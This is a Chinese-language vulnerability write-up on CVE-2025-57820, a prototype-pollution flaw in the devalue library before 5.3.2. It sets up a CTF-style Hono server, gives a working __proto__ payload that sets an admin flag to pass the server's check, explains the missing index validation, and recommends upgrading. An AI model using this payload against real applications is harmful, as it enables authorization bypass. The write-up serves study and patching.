前言
devalue 是一个能够序列化 JavaScript 值(包括那些 JSON 无法处理的特殊值)的库。它由 Svelte 框架的创建者 Rich Harris 开发。
一、漏洞概述
1、详情
在 5.3.2 版本之前,传递给 devalue.parse 的字符串可以表示具有__proto__属性的对象,而 devalue.parse 不会检查索引是否为数字。这可能导致将原型分配给物体和属性,从而导致原型污染。该漏洞注册为 CVE-2025-57820CVE-2025-57820。
2、影响版本
devalue < 5.3.2
二、复现过程
1、环境搭建
index.js
javascript
import { serve } from '@hono/node-server'
import { Hono } from 'hono'
import { readFileSync } from 'fs'
import * as devalue from 'devalue';
const app = new Hono()
const FLAG = readFileSync('flag.txt')
class FlagRequest {
constructor(feedback) {
// your feedback is greatly appreciated!
delete { feedback }
}
get flag() {
if (this.admin) {
return FLAG;
} else {
return "haha nope"
}
}
}
app.get('/', (c) => {
return c.text(`POST /
Body: FlagRequest(feedback), must be devalue stringified`)
})
app.post('/', async (c) => {
const body = await c.req.text();
const flagRequest = devalue.parse(body, {
FlagRequest: ([a]) => new FlagRequest(a),
})
if (!(flagRequest instanceof FlagRequest)) return c.text('not a flag request')
return c.text(flagRequest.flag)
})
serve({
fetch: app.fetch,
port: 3000
}, (info) => {
console.log(`Server is running on http://localhost:${info.port}`)
})
package.json
javascript
{
"name": "chall",
"type": "module",
"scripts": {
"start": "node index.js"
},
"dependencies": {
"@hono/node-server": "^1.19.6",
"devalue": "5.3.0",
"hono": "^4.10.5"
}
}
2、复现具体步骤
(1)启动靶机
javascript
node .\index.js
(2)访问启动后的地址,可看到如下提示

(3)分析index.js
javascript
get flag() {
// 检查this.admin是否为真
if (this.admin) {
// 为真返回FLAG
return FLAG;
} else {
// 否则返回haha nope
return "haha nope"
}
}
javascript
// 设置 POST 路由处理程序
app.post('/', async (c) => {
// 异步获取请求的原始文本内容
const body = await c.req.text();
// 使用 devalue 反序列化用户输入的 body
const flagRequest = devalue.parse(body, {
// 遇到 "FlagRequest" 时,用参数创建 FlagRequest 实例
FlagRequest: ([a]) => new FlagRequest(a),
})
// 检查反序列化结果是否是 FlagRequest 实例,如果不是,返回错误信息
if (!(flagRequest instanceof FlagRequest)) return c.text('not a flag request')
// 调用 flag getter,根据 admin 属性返回 FLAG 或 "haha nope"
return c.text(flagRequest.flag)
})
(4)构造payload
javascript
[{"__proto__":2,"admin":1},3,["FlagRequest",3],[]]

三、漏洞原理
1、devalue允许设置__proto__
传递给devalue.parse的字符串可以表示一个具有_proto_属性的对象,该对象会为对象分配原型,并允许覆盖属性
javascript
class FlagRequest {
constructor(feedback) {
delete { feedback }
}
get flag() {
if (this.admin) {
return FLAG;
} else {
return "haha nope"
}
}
}
// 这里为了方便理解多加了一个X
const payloa = `[{"x":1,"__proto__":3,"admin":1},3,4,["FlagRequest",4],[]]`;
const flagRequest = devalue.parse(payloa, {
FlagRequest: ([a]) => new FlagRequest(a),
})
console.log("FlagRequestValue", flagRequest instanceof FlagRequest); // true
console.log(flagRequest.x) // 3
console.log(flagRequest.admin); // 3
console.log(flagRequest) // FlagRequest { x: 3, admin: 3 }
2、devalue.parse 允许将数组原型方法分配给对象
在用devalue.stringify构造的有效payload中,值被表示为数组下标
javascript
const test = devalue.stringify({ message: 'hello',admin: 'world' });
// [{"message":1,"admin":2},"hello","world"]
devalue.parse不检查索引是否为数字,这说明着它可以将数组原型方法分配给属性
javascript
const object = devalue.parse('[{"toString":"push"}]');
// { toString: [Function: push], length: 0 }
object.toString();
// 0
devalue 在解析 [{"toString":"push"}] 时,由于缺乏索引验证,错误地将字符串 "push" 当作数组索引来查找值,但实际上获取到的是数组对象的 push 方法,导致 object.toString 属性指向了 Array.prototype.push
验证这个过程
javascript
const obj = {
toString: Array.prototype.push, // 被篡改为 push 方法
length: 0
};
console.log(obj.toString()); // 0
console.log(obj.length); // 0
// 等价于:
console.log(Array.prototype.push.call(obj)); // 0
四、修复建议
将devalue升级到>=5.3.2的版本